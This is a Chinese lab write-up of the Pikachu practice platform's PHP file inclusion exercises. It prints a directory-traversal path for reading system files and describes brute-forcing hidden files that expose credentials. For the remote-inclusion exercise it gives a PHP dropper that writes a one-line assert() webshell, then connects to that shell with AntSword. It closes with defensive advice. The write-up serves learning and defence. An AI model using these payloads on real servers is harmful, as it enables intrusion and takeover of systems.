目录
PIKACHU--Fiel inclusion(local)
PIAKCHU--file inclusion(remote)
概述
在各种开发语言中都内置了文件包含函数,本意是有助于开发人员的效率以及代码的整洁,但有些时候包含的代码文件被写成变量且可以被前端用户传递进来的时候就产生了风险。
php语言中的文件包含函数
- include()
- 在发生错误时会生成警告(E_WARNING),继续执行
- require()
- 在发生错误时会报错(E_COMPLE_ERROR)并停止执行
分类
- 本地文件执行
- 威胁较小,主要是读取一些系统的敏感文件
- 远程文件执行
- 威胁巨大,攻击者可以传入任意代码
PIKACHU--Fiel inclusion(local)
首先有选项我们先挨个点一下看有没有什么反应
根据不同的选项弹出不同球星的简洁,好像也没有什么不一样,看url
看到url是有文件的,很可能存在文件包含漏洞。然后我又重新点了一遍观察到五个选项对应五个文件分别是file1.php-file5php
用目录跳转的方式进行测试,由于这是我们自己搭的平台所以就直接用windows下的系统文件进行测试(如果是不知道的话就先用windows试一下不行再用linux 的系统文件路径尝试嘛)
把文件名的位置替换为
../../../../Windows/System32/drivers/etc/hosts
######
这个文件路径并不固定,只要是windows下存在的系统文件路径即可,多个../的目的也是先跳转到根目录下
还有就是当我们看到有文件存在的时候可以稍微扩展一下思路,既然存在5个文件那么会不会存在更多的文件,既然这5个文件的格式都一样那么会不会别的文件的格式也跟这5个差不多会不会也是数字的延续。我们可以用burpsuit抓个包尝试去爆破一下。
写了一个6-30的字典加载进去
爆出一个file6.php里面有两个账号和密码,剩下的两个虽然没有爆出东西,但是通过报错我们已经直到文件的路径,
分析源码
PIAKCHU--file inclusion(remote)
首先更改一下配置
在phpstudy面板->其他菜单选项->PHP扩展及设置—>参数开关设置就可以找到这个选项啦
有了上一题的经验,我们点击选项的时候时刻注意url有什么变化,看到这边虽然也是文件但是多了一个include函数
尝试直接包含木马
服务器:192.168.179.138
攻击者:192.168.179.1
攻击机写一个木马文件放在phpstudy的www目录下,让服务器可以访问的到(我们还是用phpstudy环境比较方便)文件名为yijuhua.txt
<?php
fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>')
?>
把url中的文件名替换为木马的文件路径,并且页面没有什么异常
但是这个时候我们去查看/pikachu/vul/fileinclude/目录
这边是已经生成了以和名为shell.php的木马文件
用蚁剑连接
url是木马文件的具体位置,连接密码是一句话木马写入的
源码分析
跟上面一样还是直接传参没有任何过滤措施
总结
分享一个知识点,PHP文件不过文件后缀是什么,只要包含PHP代码就可以被当成PHP来执行。
通过两个实验我们可以大概了解到一些攻击思路,同时也会想到一些防范措施:比如说要尽量减少文件包含函数被前端操作,对一些特殊符号如 ../ ../等过滤,配置php.ini文件时allow_url_fopen、allow_url_include、magic_quotes_gpc涉及到这三个参数时要谨慎使用,尽量不要开放权限,最后就是设置一个白名单只允许包含运行指定的文件,其他的一律禁止